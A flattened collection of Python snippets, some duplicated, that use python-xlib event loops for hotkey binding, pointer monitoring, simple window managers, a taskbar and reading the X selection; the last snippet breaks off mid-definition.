class DeviceListener(object): def __init__(self): self.display = Display() self.win_root = self.display.screen().root extension_info = self.display.query_extension('XInputExtension') self.xinput_major = extension_info.major_opcode self.device = None v = xinput.query_version(self.display) print("Version: {}, {}".format(v.major_version, v.minor_version)) self.select_device() def select_device(self, device=None): self.device = device mask = xinput.KeyPressMask + xinput.KeyReleaseMask if device is None: xinput.select_events(self.win_root, ((xinput.AllDevices, mask),)) else: xinput.select_events(self.win_root, ((device, mask), (xinput.AllDevices, 0))) self.display.xinput_detach_slave(device) def event_loop(self): while True: event = self.display.next_event() if event.type == self.display.extension_event.GenericEvent \ and event.extension == self.xinput_major: if not self.handle_event(event): break def get_device_id(self): event = self.display.next_event() if event.type == self.display.extension_event.GenericEvent \ and event.extension == self.xinput_major: return event.data.deviceid def handle_event(self, event): self.send_event(event.data.detail, event.evtype == 2) # print("Event: {}, {}, {}".format(event.evtype, event.data.detail, event.data.deviceid)) return not event.data.detail == EXIT_KEY def send_event(self, key_code, key_down): xtest.fake_input(self.display, event_type=2 if key_down else 3, detail=key_code) def close(self): self.display.xinput_attach_slave(self.device, KEYBOARD_MASTER) self.display.close()
def main(): # current display global display,root display = Display() root = display.screen().root # we tell the X server we want to catch keyPress event root.change_attributes(event_mask = X.KeyPressMask|X.KeyReleaseMask) # just grab the "1"-key for now # Common keys without state for key_code in key_codes.keys(): root.grab_key(key_code, 0, True,X.GrabModeSync, X.GrabModeSync) # F Keys with shift for key_code in f_keys.keys(): root.grab_key(key_code, 1, True,X.GrabModeSync, X.GrabModeSync) # F Keys with ctrl for key_code in f_keys.keys(): root.grab_key(key_code, 4, True,X.GrabModeSync, X.GrabModeSync) # Keys with ctrl for key_code in ctrl_codes: root.grab_key(key_code, 4, True,X.GrabModeSync, X.GrabModeSync) # Switcher key root.grab_key(KEY_SWITCHER, 4, True,X.GrabModeSync, X.GrabModeSync) # signal.signal(signal.SIGALRM, lambda a,b:sys.exit(1)) # signal.alarm(30) while 1: event = display.next_event() handle_event(event) display.allow_events(X.AsyncKeyboard, X.CurrentTime)
def main(argv): display = Display() try: extension_info = display.query_extension('XInputExtension') xinput_major = extension_info.major_opcode version_info = display.xinput_query_version() print('Found XInput version %u.%u' % ( version_info.major_version, version_info.minor_version, )) screen = display.screen() screen.root.xinput_select_events([ (xinput.AllDevices, xinput.HierarchyChangedMask), ]) while True: event = display.next_event() if (event.type == display.extension_event.GenericEvent and event.extension == xinput_major and event.evtype == 11): print_hierarchy_changed_event(event) finally: display.close()
def main(argv): global timer, is_run_active, args, min_distance with FileLock("mousy.lock", timeout=0.3): log("Lock acquired.") # avoid multiple runs the same time min_distance = args.distance start_reset_timer() display = Display() try: extension_info = display.query_extension('XInputExtension') version_info = display.xinput_query_version() log('Found XInput version %u.%u' % ( version_info.major_version, version_info.minor_version, )) screen = display.screen() screen.root.xinput_select_events([(xinput.AllDevices, xinput.MotionMask)]) while is_run_active: try: event = display.next_event() x = event.data.root_x y = event.data.root_y handle(x, y) except KeyboardInterrupt as e: log("interrupted") finally: display.close()
class XlibInterface: def __init__(self): pass self.display = Display() self.root = self.display.screen().root def grab_keyboard(self): self.root.change_attributes(event_mask=KeyPressMask | KeyReleaseMask) self.root.grab_keyboard(False, GrabModeAsync, GrabModeAsync, CurrentTime) @staticmethod def event_is_keypress(event) -> bool: if event.type is KeyPress: return True else: return False def events_pending(self) -> bool: return self.display.pending_events() def get_next_event(self): return self.display.next_event() def stop_listening(self): self.display.ungrab_keyboard(CurrentTime) self.display.flush()
def main(): disp = Display() screen = disp.screen() root = screen.root # First listen for existing windows for window in root.query_tree().children: if is_inkscape(window): print('Found existing window') listen = threading.Thread(target=create, args=[window.id]) listen.start() # New windows root.change_attributes(event_mask=X.SubstructureNotifyMask) while True: evt = disp.next_event() if evt.type == X.CreateNotify: window = evt.window try: if is_inkscape(window): print('New window!') listen = threading.Thread(target=create, args=[window.id]) listen.start() except Xlib.error.BadWindow: pass
class wm: def __init__(self): self.display = Display() # Initialise display self.rootWindow = self.display.screen().root # Initialise root window self.rootWindow.change_attributes( event_mask=X.SubstructureRedirectMask) self.keyboardHandler = keyboard(self.display, self.rootWindow) self.mouseHandler = mouse() self.mappingHandler = mapping(self.display, self.rootWindow) setWallpaper() def handleEvents(self): if True: #self.display.pending_events() > 0: # If there is an event in the queue event = self.display.next_event() # Grab it print("Got an event! ({})".format(str(event.type))) if event.type == X.KeyPress: self.keyboardHandler.handleKeyEvent(event) elif event.type == X.MapRequest: self.mappingHandler.handleMapEvent(event) elif event.type == X.ButtonPress: self.mouseHandler.handleMouseEvent(event) elif event.type == X.ButtonRelease: self.mouseHandler.handleMouseEvent(event) elif event.type == X.MotionNotify: self.mouseHandler.handleMouseEvent(event) def loop(self): while True: self.handleEvents() self.mappingHandler.drawBorders() self.mappingHandler.updateFocus()
def main(argv): display = Display() try: extension_info = display.query_extension('XInputExtension') xinput_major = extension_info.major_opcode version_info = display.xinput_query_version() print('Found XInput version %u.%u' % ( version_info.major_version, version_info.minor_version, )) screen = display.screen() screen.root.xinput_select_events([ (xinput.AllDevices, xinput.HierarchyChangedMask), ]) while True: event = display.next_event() if ( event.type == display.extension_event.GenericEvent and event.extension == xinput_major and event.evtype == 11 ): print_hierarchy_changed_event(event) finally: display.close()
def main(options): # current display pid_file = "/var/lock/easyxmotion.pid" # kill any old versions that are still running, # we do it this way so the current one has input focus. # might be a better way to just exit and give focus to the old one. try: with open(pid_file, "r") as fp: pid = int(fp.read()) try: os.kill(pid, signal.SIGTERM) except OSError: # other isn't running pass except IOError: # first ever run pass with open(pid_file, "w") as fp: fp.write(str(os.getpid())) osds, windows = display_osd(options) disp = Display() root = disp.screen().root root.change_attributes(event_mask=X.KeyPressMask) root.grab_keyboard(False, X.GrabModeAsync, X.GrabModeAsync, X.CurrentTime) event = disp.next_event() keycode = event.detail if event.type == X.KeyPress: key = XK.keysym_to_string(disp.keycode_to_keysym(keycode, 0)) if key and key in string.lowercase and string.lowercase.index(key) < len(windows): windows[string.lowercase.index(key)].activate(timestamp) disp.ungrab_keyboard(X.CurrentTime) sys.exit()
def loop(dpy: Display, actions: dict): try: while True: evt = dpy.next_event() process(dpy, actions, evt) finally: dpy.close()
def get_primary_selection(): """Get the word selected in the primary selection.""" display = Display() xsel_data_atom = display.intern_atom("XSEL_DATA") UTF8_STRING = display.intern_atom("UTF8_STRING") screen = display.screen() w = screen.root.create_window(0, 0, 2, 2, 0, screen.root_depth) w.convert_selection( Xlib.Xatom.PRIMARY, # selection UTF8_STRING, # target xsel_data_atom, # property Xlib.X.CurrentTime) # time while True: e = display.next_event() if e.type == X.SelectionNotify: break if e.property != xsel_data_atom or \ e.target != UTF8_STRING: return '' reply = w.get_full_property(xsel_data_atom, X.AnyPropertyType) reply = reply.value.strip() return reply
def main(options): # current display pid_file = '/var/lock/easyxmotion.pid' # kill any old versions that are still running, # we do it this way so the current one has input focus. # might be a better way to just exit and give focus to the old one. try: with open(pid_file, 'r') as fp: pid = int(fp.read()) try: os.kill(pid, signal.SIGTERM) except OSError: #other isn't running pass except IOError: # first ever run pass with open(pid_file, 'w') as fp: fp.write(str(os.getpid())) osds, windows = display_osd(options) disp = Display() root = disp.screen().root root.change_attributes(event_mask = X.KeyPressMask) root.grab_keyboard(False, X.GrabModeAsync, X.GrabModeAsync, X.CurrentTime) event = disp.next_event() keycode = event.detail if event.type == X.KeyPress: key = XK.keysym_to_string(disp.keycode_to_keysym(keycode, 0)) if key and key in string.lowercase and string.lowercase.index(key) < len(windows): windows[string.lowercase.index(key)].activate(timestamp) disp.ungrab_keyboard(X.CurrentTime) sys.exit()
class PointerMonitor(GObject.GObject, threading.Thread): __gsignals__ = { 'activate': (GObject.SignalFlags.RUN_LAST, None, ()), } def __init__(self): GObject.GObject.__init__ (self) threading.Thread.__init__ (self) self.setDaemon (True) self.display = Display() self.root = self.display.screen().root self.windows = [] # Receives GDK windows def addWindowToMonitor(self, window): gdk.gdk_x11_drawable_get_xid.argtypes = [c_void_p] xWindow = self.display.create_resource_object("window", gdk.gdk_x11_drawable_get_xid(hash(window))) self.windows.append(xWindow) def grabPointer(self): self.root.grab_button(X.AnyButton, X.AnyModifier, True, X.ButtonPressMask, X.GrabModeSync, X.GrabModeAsync, 0, 0) self.display.flush() def ungrabPointer(self): self.root.ungrab_button(X.AnyButton, X.AnyModifier) self.display.flush() def idle(self): self.emit("activate") return False def activate(self): GLib.idle_add(self.run) def run(self): self.running = True while self.running: event = self.display.next_event() try: if event.type == X.ButtonPress: # Check if pointer is inside monitored windows for w in self.windows: p = w.query_pointer() g = w.get_geometry() if p.win_x >= 0 and p.win_y >= 0 and p.win_x <= g.width and p.win_y <= g.height: break else: # Is outside, so activate GLib.idle_add(self.idle) self.display.allow_events(X.ReplayPointer, event.time) else: self.display.allow_events(X.ReplayPointer, X.CurrentTime) except Exception as e: print "Unexpected error: " + str(e) def stop(self): self.running = False self.root.ungrab_button(X.AnyButton, X.AnyModifier) self.display.close()
class PointerMonitor(GObject.GObject, threading.Thread): __gsignals__ = { 'activate': (GObject.SignalFlags.RUN_LAST, None, ()), } def __init__(self): GObject.GObject.__init__ (self) threading.Thread.__init__ (self) self.setDaemon (True) self.display = Display() self.root = self.display.screen().root self.windows = [] # Receives GDK windows def addWindowToMonitor(self, window): xWindow = self.display.create_resource_object("window", gdk.gdk_x11_drawable_get_xid(hash(window))) self.windows.append(xWindow) def grabPointer(self): self.root.grab_button(X.AnyButton, X.AnyModifier, True, X.ButtonPressMask, X.GrabModeSync, X.GrabModeAsync, 0, 0) self.display.flush() def ungrabPointer(self): self.root.ungrab_button(X.AnyButton, X.AnyModifier) self.display.flush() def idle(self): self.emit("activate") return False def activate(self): GLib.idle_add(self.run) def run(self): self.running = True while self.running: event = self.display.next_event() try: if event.type == X.ButtonPress: # Check if pointer is inside monitored windows for w in self.windows: p = w.query_pointer() g = w.get_geometry() if p.win_x >= 0 and p.win_y >= 0 and p.win_x <= g.width and p.win_y <= g.height: break else: # Is outside, so activate GLib.idle_add(self.idle) self.display.allow_events(X.ReplayPointer, event.time) else: self.display.allow_events(X.ReplayPointer, X.CurrentTime) except Exception as e: print "Unexpected error: " + str(e) def stop(self): self.running = False self.root.ungrab_button(X.AnyButton, X.AnyModifier) self.display.close()
def main(argv): display = Display() root = display.screen().root root.change_attributes(event_mask=X.PropertyChangeMask | X.SubstructureNotifyMask) skip_windows = [ 'tk.TkN/Awindowswitcher', 'xfce4-appfinder.Xfce4-appfinderxavierApplicationFinder' ] NET_ACTIVE_WINDOW = display.intern_atom('_NET_ACTIVE_WINDOW') try: while True: event = display.next_event() if event.type != X.PropertyNotify: continue response = root.get_full_property(NET_ACTIVE_WINDOW, X.AnyPropertyType) win_id = hex(response.value[0]).rstrip('L').lstrip('0x') if len(win_id) == 0: continue wmctrl_out = os.popen( 'sleep 0.1; wmctrl -dliGux | grep -i {win_id}'.format( win_id=win_id)).read() wmctrl_out = wmctrl_out.split('\n') wmctrl_out.pop() if len(wmctrl_out) != 1: continue window = WmctrlWindow(wmctrl_out[0]) # ignore window switcher if window.name in skip_windows: continue str_json = open("/home/danilo/scripts/flip360_wids.json", "r").read() jjson = json.loads(str_json) key_json = 'm{m}{w}'.format(m=window.monitor, w=window.workspace) if jjson.get(key_json, None) == None: continue window_previous = WmctrlWindow(jjson[key_json]) if window.id == window_previous.id: continue jjson[key_json] = window.str_win flip360_wids = open("/home/danilo/scripts/flip360_wids.json", "w") flip360_wids.write(json.dumps(jjson)) flip360_wids.close() finally: display.close()
def main(argv): if len(sys.argv) != 2: sys.exit( 'usage: {0} SELECTION\n\n' 'SELECTION is typically PRIMARY, SECONDARY or CLIPBOARD.\n'.format( sys.argv[0])) display = Display() sel_name = sys.argv[1] sel_atom = display.get_atom(sel_name) if not display.has_extension('XFIXES'): if display.query_extension('XFIXES') is None: print('XFIXES extension not supported', file=sys.stderr) return 1 xfixes_version = display.xfixes_query_version() print('Found XFIXES version %s.%s' % ( xfixes_version.major_version, xfixes_version.minor_version, ), file=sys.stderr) screen = display.screen() mask = xfixes.XFixesSetSelectionOwnerNotifyMask | \ xfixes.XFixesSelectionWindowDestroyNotifyMask | \ xfixes.XFixesSelectionClientCloseNotifyMask display.xfixes_select_selection_input(screen.root, sel_atom, mask) while True: e = display.next_event() print(e) if (e.type, e.sub_code) == display.extension_event.SetSelectionOwnerNotify: print('SetSelectionOwner: owner=0x{0:08x}'.format(e.owner.id)) elif (e.type, e.sub_code ) == display.extension_event.SelectionWindowDestroyNotify: print('SelectionWindowDestroy: owner=0x{0:08x}'.format(e.owner.id)) elif (e.type, e.sub_code ) == display.extension_event.SelectionClientCloseNotify: print('SelectionClientClose: owner=0x{0:08x}'.format(e.owner.id))
def main(): disp = Display() screen = disp.screen() root = screen.root root.change_attributes(event_mask=X.SubstructureNotifyMask) while True: evt = disp.next_event() if evt.type == X.CreateNotify: window = evt.window try: if window.get_wm_class() and window.get_wm_class( )[0] == 'inkscape': print('Listening!') listen = threading.Thread(target=create, args=[window.id]) listen.start() except Xlib.error.BadWindow: pass
class Desktop(Module): dbus = '<node> \ <interface name=\'{name}\'> \ <method name=\'refresh\'/> \ </interface> \ </node>' def __init__(self, q, conf, name): super().__init__(q, conf, name) self.ewmh = EWMH() self.x = Display() self.desk_inactive = conf['desktop_inactive_color'] self.desk_active = conf['desktop_active_color'] self.conf = conf self.x.screen().root.change_attributes(event_mask=Xlib.X.PropertyChangeMask) def callback(self, iterable): pass @property def position(self): return Position.LEFT @property def priority(self): return 0 def refresh(self): super().refresh() self._queue.put(DataStore(self.name, self.current_desktop(), self.position, self.priority)) def run(self): while not self._stopping.is_set() and self.x.next_event(): self.refresh() def current_desktop(self): d = self.ewmh.getCurrentDesktop() s = DESKTOPS[d].format(di=self.desk_inactive, da=self.desk_active) return Utilities.add_padding(s, int(self.conf['padding_left']), int(self.conf['padding_right']))
def get_primary_selection(): """Get the word selected in the primary selection.""" display = Display() xsel_data_atom = display.intern_atom("XSEL_DATA") UTF8_STRING = display.intern_atom("UTF8_STRING") screen = display.screen() w = screen.root.create_window(0, 0, 2, 2, 0, screen.root_depth) w.convert_selection(Xlib.Xatom.PRIMARY, # selection UTF8_STRING, # target xsel_data_atom, # property Xlib.X.CurrentTime) # time while True: e = display.next_event() if e.type == X.SelectionNotify: break if e.property != xsel_data_atom or \ e.target != UTF8_STRING: return '' reply = w.get_full_property(xsel_data_atom, X.AnyPropertyType) reply = reply.value.strip() return reply
def main(): global display,root,app display = Display() root = display.screen().root root.change_attributes(event_mask = (X.PropertyChangeMask)) taskbar = Taskbar() taskbar.updateTasks() taskbar.middleMapper.mapped[int].connect(taskbar.onTabMiddleClick) taskbar.rightMapper.mapped[int].connect(taskbar.onTabRightClick) taskbar.leftMapper.mapped[int].connect(taskbar.onTaskLeftClick) Popen(['feh', '--bg-scale', '/home/shaw/.python/Theta/background.png']) Popen(['mpd']) while 1: taskbar.clock.setText(time.strftime("%a "+"%b "+"%d, "+"%H"+":"+"%M")) QtGui.QApplication.processEvents() time.sleep(0.01) while display.pending_events(): event = display.next_event() taskbar.updateTasks() sys.exit(app.exec_())
def main(): # current display global display,root display = Display() root = display.screen().root # we tell the X server we want to catch keyPress event root.change_attributes(event_mask = X.KeyPressMask|X.KeyReleaseMask) # just grab the "1"-key for now root.grab_key(10, 0, True, X.GrabModeSync, X.GrabModeSync) root.grab_button(1, X.Mod1Mask, 1, X.ButtonPressMask, X.GrabModeAsync, X.GrabModeAsync, X.NONE, X.NONE) # only run for 10 seconds signal.signal(signal.SIGALRM, lambda a,b:sys.exit(1)) signal.alarm(10) while 1: # Handle events without blocking event = display.next_event() handle_event(event) display.allow_events(X.AsyncKeyboard, X.CurrentTime)
def main(): # current display global display, root display = Display() root = display.screen().root # we tell the X server we want to catch keyPress event root.change_attributes(event_mask=X.KeyPressMask | X.KeyReleaseMask) # just grab the "1"-key for now root.grab_key(10, 0, True, X.GrabModeSync, X.GrabModeSync) root.grab_button(1, X.Mod1Mask, 1, X.ButtonPressMask, X.GrabModeAsync, X.GrabModeAsync, X.NONE, X.NONE) # only run for 10 seconds signal.signal(signal.SIGALRM, lambda a, b: sys.exit(1)) signal.alarm(10) while 1: # Handle events without blocking event = display.next_event() handle_event(event) display.allow_events(X.AsyncKeyboard, X.CurrentTime)
class GlobalKeyBinding(gobject.GObject, threading.Thread): __gsignals__ = {"activate": (gobject.SIGNAL_RUN_LAST, gobject.TYPE_NONE, ())} def __init__(self, key): gobject.GObject.__init__(self) threading.Thread.__init__(self) self.setDaemon(True) self.key = key self.keymap = gtk.gdk.keymap_get_default() self.display = Display() self.screen = self.display.screen() self.root = self.screen.root self.e = True self.map_modifiers() def map_modifiers(self): gdk_modifiers = ( gtk.gdk.CONTROL_MASK, gtk.gdk.SHIFT_MASK, gtk.gdk.MOD1_MASK, gtk.gdk.MOD2_MASK, gtk.gdk.MOD3_MASK, gtk.gdk.MOD4_MASK, gtk.gdk.MOD5_MASK, gtk.gdk.SUPER_MASK, gtk.gdk.HYPER_MASK, gtk.gdk.LOCK_MASK, ) self.known_modifiers_mask = 0 for modifier in gdk_modifiers: # Do you know how to handle unknown "Mod*" keys? # They are usually Locks and something like that if "Mod" not in gtk.accelerator_name(0, modifier): self.known_modifiers_mask |= modifier def on_key_changed(self, *args): self.regrab() def regrab(self): self.ungrab() self.grab() def grab(self): accelerator = self.key keyval, modifiers = gtk.accelerator_parse(accelerator) if not accelerator or (not keyval and not modifiers): self.keycode = None self.modifiers = None print "Unable to bind the selected key" return self.keycode = self.keymap.get_entries_for_keyval(keyval)[0][0] self.modifiers = int(modifiers) return self.root.grab_key(self.keycode, X.AnyModifier, True, X.GrabModeAsync, X.GrabModeSync) def ungrab(self): if self.keycode: self.root.ungrab_key(self.keycode, X.AnyModifier, self.root) def idle(self): # Clipboard requests will hang without locking the GDK thread gtk.gdk.threads_enter() # Workarround to only send signal every 2 times needed by tilo if self.e == True: self.emit("activate") self.e = False elif self.e == False: self.e = True gtk.gdk.threads_leave() return False def run(self): self.running = True wait_for_release = False while self.running: event = self.display.next_event() if event.detail == self.keycode and event.type == X.KeyPress and not wait_for_release: modifiers = event.state & self.known_modifiers_mask if modifiers == self.modifiers: wait_for_release = True self.display.allow_events(X.AsyncKeyboard, event.time) else: self.display.allow_events(X.ReplayKeyboard, event.time) elif event.detail == self.keycode and wait_for_release: if event.type == X.KeyRelease: wait_for_release = False gobject.idle_add(self.idle) self.display.allow_events(X.AsyncKeyboard, event.time) else: self.display.allow_events(X.ReplayKeyboard, event.time) def stop(self): self.running = False self.ungrab() self.display.close()
from Xlib.display import Display from Xlib import X, XK dpy = Display() dpy.screen().root.grab_key(dpy.keysym_to_keycode(XK.string_to_keysym("F1")), X.Mod1Mask, 1, X.GrabModeAsync, X.GrabModeAsync) dpy.screen().root.grab_button(1, X.Mod1Mask, 1, X.ButtonPressMask|X.ButtonReleaseMask|X.PointerMotionMask, X.GrabModeAsync, X.GrabModeAsync, X.NONE, X.NONE) dpy.screen().root.grab_button(3, X.Mod1Mask, 1, X.ButtonPressMask|X.ButtonReleaseMask|X.PointerMotionMask, X.GrabModeAsync, X.GrabModeAsync, X.NONE, X.NONE) start = None while 1: ev = dpy.next_event() if ev.type == X.KeyPress and ev.child != X.NONE: ev.child.configure(stack_mode = X.Above) elif ev.type == X.ButtonPress and ev.child != X.NONE: attr = ev.child.get_geometry() start = ev elif ev.type == X.MotionNotify and start: xdiff = ev.root_x - start.root_x ydiff = ev.root_y - start.root_y start.child.configure( x = attr.x + (start.detail == 1 and xdiff or 0), y = attr.y + (start.detail == 1 and ydiff or 0), width = max(1, attr.width + (start.detail == 3 and xdiff or 0)), height = max(1, attr.height + (start.detail == 3 and ydiff or 0))) elif ev.type == X.ButtonRelease: start = None
class WM: def __init__(self): self.display = Display() self.root = self.display.screen().root self.color_map = self.display.screen().default_colormap self.root.change_attributes(event_mask=X.SubstructureRedirectMask | X.KeyReleaseMask | X.FocusChangeMask) self.width = self.root.get_geometry().width self.height = self.root.get_geometry().height self.windows = [] self.focused_window = None self.actions = [[XK.XK_F, lambda: system("rofi -show")], [XK.XK_X, lambda: self.destroy(self.focused_window)]] self.modifier = X.Mod1Mask self.next_position = 0 self.configure() system("feh --bg-scale wallpaper.png") def getKeyCodes(self, key): codes = set(code for code, i in self.display.keysym_to_keycodes(key)) return list(codes) def configure(self): for i in self.actions: for j in self.getKeyCodes(i[0]): self.root.grab_key(j, self.modifier, True, X.GrabModeSync, X.GrabModeSync) def handleMap(self, event): event.window.map() # event.window.set_input_focus(X.RevertToParent, X.CurrentTime) width = self.width // 2 - 40 height = self.height // 2 - 40 if self.next_position == 4: self.next_position = 0 if self.next_position == 0: x = 0 y = 0 elif self.next_position == 1: x = self.width // 2 y = 0 elif self.next_position == 2: x = 0 y = self.height // 2 elif self.next_position == 3: x = self.width // 2 y = self.height // 2 event.window.configure(stack_mode=X.Above, width=width, height=height, x=x, y=y) self.next_position += 1 self.windows.append(event.window) def destroy(self, window): window.destroy() self.windows.remove(window) self.next_position -= 1 width = self.width // 2 - 40 height = self.height // 2 - 40 for i, window in enumerate(self.windows): if i == 0: x = 0 y = 0 elif i == 1: x = self.width // 2 y = 0 elif i == 2: x = 0 y = self.height // 2 elif i == 3: x = self.width // 2 y = self.height // 2 window.configure(stack_mode=X.Above, width=width, height=height, x=x, y=y) def handleKey(self, event): print("Clicked") for i in self.actions: if event.detail in self.getKeyCodes(i[0]): print("Found") i[1]() def handleEvent(self): if self.display.pending_events() > 0: event = self.display.next_event() print("Got Event:{}".format(event.type)) if event.type == X.MapRequest: self.handleMap(event) elif event.type == X.KeyRelease: self.handleKey(event) elif event.type == X.FocusIn: print("Focusing") def updateFocus(self): window = self.display.screen().root.query_pointer().child if window: self.focused_window = window else: self.focused_window = None def close(self): self.display.close() def drawBorder(self, window): if window == self.focused_window: color = FOCUS_COLOR else: color = BORDER_COLOR color = self.color_map.alloc_named_color(color).pixel window.configure(border_width=BORDER_WIDTH) window.change_attributes(None, border_pixel=color) self.display.sync() def loop(self): while True: self.handleEvent() self.updateFocus() for i in self.windows: self.drawBorder(i)
class GlobalKeyBinding (gobject.GObject, threading.Thread): """ This is both a GObject and a Thread. GObject: it emits the 'active' signal when the key binding is activated Thread: runs an X loop for catching X events after the key has been grabbed """ __gsignals__ = { 'activate': (gobject.SIGNAL_RUN_LAST, gobject.TYPE_NONE, ()), } def __init__ (self, application, key): gobject.GObject.__init__ (self) threading.Thread.__init__ (self) self.setDaemon (True) self.application = application self.gconf_key = key absolute_key = self.application.config.dir+"/"+self.gconf_key self.application.config.client.notify_add (absolute_key, self.on_key_changed) self.keymap = gtk.gdk.keymap_get_default () self.display = Display () self.screen = self.display.screen () self.root = self.screen.root self.modifiers = 0 self.keycode = 0 self.unknown_combos = [] self.map_modifiers () self.running = False def map_modifiers (self): """ Use only known GTK+ modifiers to avoid catching Lock or something like that """ gdk_modifiers = (gtk.gdk.CONTROL_MASK, gtk.gdk.SHIFT_MASK, gtk.gdk.MOD1_MASK, gtk.gdk.MOD2_MASK, gtk.gdk.MOD3_MASK, gtk.gdk.MOD4_MASK, gtk.gdk.MOD5_MASK, gtk.gdk.SUPER_MASK, gtk.gdk.HYPER_MASK) unknown = [] for modifier in gdk_modifiers: # Do you know how to handle unknown "Mod*" keys? # They are usually Locks and something like that if "Mod" in gtk.accelerator_name (0, modifier): unknown.append ([modifier]) combos = self.generate_combos (unknown, unknown, len(unknown)) self.unknown_combos = self.flatten_combos (combos) @staticmethod def generate_combos (elems, combos, level): if level == 1: return combos res = [] for el in elems: for c in combos: res.append (el+c) return GlobalKeyBinding.generate_combos (elems, res, level-1) @staticmethod def flatten_combos (combos): ored = map (lambda l: reduce (lambda x, y: x | y, l), combos) ored.append (0) return set (ored) def on_key_changed (self, *args): """ Called from GConf when the key binding changes its value. Will regrab the key. """ self.regrab () def regrab (self): """ Ungrab the grab the key """ self.ungrab () self.grab () def grab (self): """ Grab the key for the X display. This means we will listen only to X events having our key as keycode. Instead of grabbing all the possible key combo (including Locks) we listen to the keycode with any modifier then filter manually the events in the loop. The key is grabbed in Sync mode. """ accelerator = self.application.config.get (self.gconf_key) keyval, modifiers = gtk.accelerator_parse (accelerator) if not accelerator or (not keyval and not modifiers): self.keycode = None self.modifiers = None return self.keycode = self.keymap.get_entries_for_keyval(keyval)[0][0] self.modifiers = int (modifiers) for combo in self.unknown_combos: self.root.grab_key (self.keycode, self.modifiers | combo, True, X.GrabModeAsync, X.GrabModeSync) def ungrab (self): """ Ungrab the key binding """ if self.keycode: for combo in self.unknown_combos: self.root.ungrab_key (self.keycode, self.modifiers | combo, self.root) def idle (self): """ Internally called to emit the 'activate' event. This method will be run as idle for the gobject mainloop """ # Clipboard requests will hang without locking the GDK thread gtk.gdk.threads_enter () self.emit ("activate") gtk.gdk.threads_leave () return False def run (self): """ We grab in Sync mode because with Async with loose the release event someway. The loop will run until self.running is True. """ self.running = True while self.running: event = self.display.next_event () self.display.allow_events (X.AsyncKeyboard, event.time) if event.type == X.KeyRelease: gobject.idle_add (self.idle) def stop (self): """ Stop the loop, ungrab the key and close the display """ self.running = False self.ungrab () self.display.close ()
#!/usr/bin/python import time import subprocess from Xlib import X from Xlib.display import Display display = Display(':0') root = display.screen().root root.grab_pointer(True, X.ButtonPressMask | X.ButtonReleaseMask | X.PointerMotionMask, X.GrabModeAsync, X.GrabModeAsync, 0, 0, X.CurrentTime) root.grab_keyboard(True, X.GrabModeAsync, X.GrabModeAsync, X.CurrentTime) subprocess.call('xset dpms force off'.split()) p = subprocess.Popen('gnome-screensaver-command -i'.split()) time.sleep(1) while True: print (display.next_event()) p.terminate() break
class PointerMonitor(GObject.GObject, threading.Thread): __gsignals__ = { 'activate': (GObject.SignalFlags.RUN_LAST, None, ()), } def __init__(self): GObject.GObject.__init__(self) threading.Thread.__init__(self) self.setDaemon(True) self.display = Display() self.root = self.display.screen().root self.windows = [] # Receives GDK windows def addWindowToMonitor(self, window): self.windows.append(window) def grabPointer(self): self.root.grab_button(X.AnyButton, X.AnyModifier, True, X.ButtonPressMask, X.GrabModeSync, X.GrabModeAsync, 0, 0) self.display.flush() def ungrabPointer(self): self.root.ungrab_button(X.AnyButton, X.AnyModifier) self.display.flush() def idle(self): self.emit("activate") return False def activate(self): GLib.idle_add(self.run) def run(self): self.running = True while self.running: event = self.display.next_event() try: if event.type == X.ButtonPress: # Check if pointer is inside monitored windows for w in self.windows: if (Gtk.MAJOR_VERSION, Gtk.MINOR_VERSION) >= (3, 20): pdevice = Gdk.Display.get_default( ).get_default_seat().get_pointer() else: pdevice = Gdk.Display.get_default( ).get_device_manager().get_client_pointer() p = self.get_window().get_device_position(pdevice) g = self.get_size() if p.x >= 0 and p.y >= 0 and p.x <= g.width and p.y <= g.height: break else: # Is outside, so activate GLib.idle_add(self.idle) self.display.allow_events(X.ReplayPointer, event.time) else: self.display.allow_events(X.ReplayPointer, X.CurrentTime) except Exception as e: print "Unexpected error: " + str(e) def stop(self): self.running = False self.root.ungrab_button(X.AnyButton, X.AnyModifier) self.display.close()
class PointerMonitor(GObject.GObject, threading.Thread): __gsignals__ = { 'activate': (GObject.SignalFlags.RUN_LAST, None, ()), } def __init__(self): GObject.GObject.__init__ (self) threading.Thread.__init__ (self) self.setDaemon (True) self.display = Display() self.root = self.display.screen().root self.windows = [] # Receives GDK windows def addWindowToMonitor(self, window): self.windows.append(window) def grabPointer(self): self.root.grab_button(X.AnyButton, X.AnyModifier, True, X.ButtonPressMask, X.GrabModeSync, X.GrabModeAsync, 0, 0) self.display.flush() def ungrabPointer(self): self.root.ungrab_button(X.AnyButton, X.AnyModifier) self.display.flush() def idle(self): self.emit("activate") return False def activate(self): GLib.idle_add(self.run) def run(self): self.running = True while self.running: event = self.display.next_event() try: if event.type == X.ButtonPress: # Check if pointer is inside monitored windows for w in self.windows: if Gtk.check_version (3, 20, 0) is None: pdevice = Gdk.Display.get_default().get_default_seat().get_pointer() else: pdevice = Gdk.Display.get_default().get_device_manager().get_client_pointer() p = self.get_window().get_device_position(pdevice) g = self.get_size() if p.x >= 0 and p.y >= 0 and p.x <= g.width and p.y <= g.height: break else: # Is outside, so activate GLib.idle_add(self.idle) self.display.allow_events(X.ReplayPointer, event.time) else: self.display.allow_events(X.ReplayPointer, X.CurrentTime) except Exception as e: print "Unexpected error: " + str(e) def stop(self): self.running = False self.root.ungrab_button(X.AnyButton, X.AnyModifier) self.display.close()
class GlobalKeyBinding(GObject.GObject, threading.Thread): __gsignals__ = { 'activate': (GObject.SignalFlags.RUN_LAST, None, ()), } def __init__(self): GObject.GObject.__init__ (self) threading.Thread.__init__ (self) self.setDaemon (True) gdk.gdk_keymap_get_default.restype = c_void_p self.keymap = capi.get_widget (gdk.gdk_keymap_get_default()) self.display = Display() self.screen = self.display.screen() self.window = self.screen.root self.ignored_masks = self.get_mask_combinations(X.LockMask | X.Mod2Mask | X.Mod5Mask) self.map_modifiers() self.raw_keyval = None self.keytext = "" def is_hotkey(self, key, modifier): keymatch = False modmatch = False modifier = modifier & ~Gdk.ModifierType.SUPER_MASK modint = int(modifier) if self.get_keycode(key) == self.keycode: keymatch = True for ignored_mask in self.ignored_masks: if self.modifiers | ignored_mask == modint | ignored_mask: modmatch = True break return keymatch and modmatch def map_modifiers(self): gdk_modifiers =(Gdk.ModifierType.CONTROL_MASK, Gdk.ModifierType.SHIFT_MASK, Gdk.ModifierType.MOD1_MASK, Gdk.ModifierType.MOD2_MASK, Gdk.ModifierType.MOD3_MASK, Gdk.ModifierType.MOD4_MASK, Gdk.ModifierType.MOD5_MASK, Gdk.ModifierType.SUPER_MASK, 